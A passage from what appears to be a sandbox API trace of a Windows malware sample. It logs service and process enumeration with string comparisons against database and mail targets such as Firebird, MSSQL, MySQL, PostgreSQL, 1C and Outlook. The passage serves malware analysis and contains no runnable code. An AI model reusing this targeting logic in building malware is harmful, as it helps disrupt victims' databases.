th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0057.948] CloseHandle (hObject=0x158) returned 1 [0057.948] Sleep (dwMilliseconds=0x1f4) [0060.430] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6269b0 [0060.431] EnumServicesStatusExW (in: hSCManager=0x6269b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0060.432] GetLastError () returned 0xea [0060.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x61e060 [0060.432] EnumServicesStatusExW (in: hSCManager=0x6269b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61e060, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61e060, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0060.433] CloseServiceHandle (hSCObject=0x6269b0) returned 1 [0060.433] lstrlenW (lpString="Appinfo") returned 7 [0060.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.433] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.433] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.433] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.433] lstrlenW (lpString="AudioSrv") returned 8 [0060.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0060.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0060.433] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0060.433] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0060.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0060.433] lstrlenW (lpString="BFE") returned 3 [0060.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.433] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.433] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.433] lstrlenW (lpString="CryptSvc") returned 8 [0060.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.434] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.434] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.434] lstrlenW (lpString="CscService") returned 10 [0060.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0060.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0060.434] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0060.434] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0060.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0060.434] lstrlenW (lpString="DcomLaunch") returned 10 [0060.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.434] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.434] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.434] lstrlenW (lpString="Dhcp") returned 4 [0060.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.434] lstrlenW (lpString="Dnscache") returned 8 [0060.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.434] lstrlenW (lpString="DPS") returned 3 [0060.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.434] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.434] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.434] lstrlenW (lpString="eventlog") returned 8 [0060.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0060.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0060.435] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0060.435] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0060.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0060.435] lstrlenW (lpString="EventSystem") returned 11 [0060.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.435] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.435] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.435] lstrlenW (lpString="gpsvc") returned 5 [0060.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.435] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.435] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.435] lstrlenW (lpString="iphlpsvc") returned 8 [0060.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.435] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.435] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.435] lstrlenW (lpString="LanmanServer") returned 12 [0060.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.435] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.435] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.435] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.435] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.435] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.435] lstrlenW (lpString="lmhosts") returned 7 [0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.436] lstrlenW (lpString="MMCSS") returned 5 [0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0060.436] lstrlenW (lpString="MpsSvc") returned 6 [0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.436] lstrlenW (lpString="Netman") returned 6 [0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0060.436] lstrlenW (lpString="netprofm") returned 8 [0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.436] lstrlenW (lpString="NlaSvc") returned 6 [0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.437] lstrlenW (lpString="nsi") returned 3 [0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.437] lstrlenW (lpString="PcaSvc") returned 6 [0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.437] lstrlenW (lpString="PlugPlay") returned 8 [0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.437] lstrlenW (lpString="Power") returned 5 [0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.437] lstrlenW (lpString="ProfSvc") returned 7 [0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.437] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.438] lstrlenW (lpString="RpcSs") returned 5 [0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.438] lstrlenW (lpString="SamSs") returned 5 [0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.438] lstrlenW (lpString="Schedule") returned 8 [0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.438] lstrlenW (lpString="SENS") returned 4 [0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.438] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.438] lstrlenW (lpString="Spooler") returned 7 [0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.439] lstrlenW (lpString="SysMain") returned 7 [0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.439] lstrlenW (lpString="Themes") returned 6 [0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0060.439] lstrlenW (lpString="TrkWks") returned 6 [0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0060.439] lstrlenW (lpString="UxSms") returned 5 [0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0060.439] lstrlenW (lpString="WdiServiceHost") returned 14 [0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0060.439] lstrlenW (lpString="WdiSystemHost") returned 13 [0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0060.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0060.440] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0060.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.440] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0060.440] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0060.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0060.440] lstrlenW (lpString="Winmgmt") returned 7 [0060.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0060.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0060.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0060.440] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0060.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0060.440] lstrlenW (lpString="WPDBusEnum") returned 10 [0060.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.440] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0060.440] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0060.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0060.440] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e060 | out: hHeap=0x5d0000) returned 1 [0060.440] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0060.448] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.448] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.449] lstrlenW (lpString="System") returned 6 [0060.449] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0060.449] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0060.449] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0060.449] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0060.449] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0060.449] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0060.449] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0060.449] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.450] lstrlenW (lpString="smss.exe") returned 8 [0060.450] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0060.450] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0060.450] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0060.450] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0060.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0060.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0060.450] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0060.450] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.450] lstrlenW (lpString="csrss.exe") returned 9 [0060.450] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.450] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.450] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.450] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.451] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0060.451] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.451] lstrlenW (lpString="wininit.exe") returned 11 [0060.451] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0060.451] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0060.451] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0060.451] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0060.451] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0060.451] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0060.451] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0060.451] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.452] lstrlenW (lpString="csrss.exe") returned 9 [0060.452] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.452] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.452] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.452] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.452] lstrcmpiW 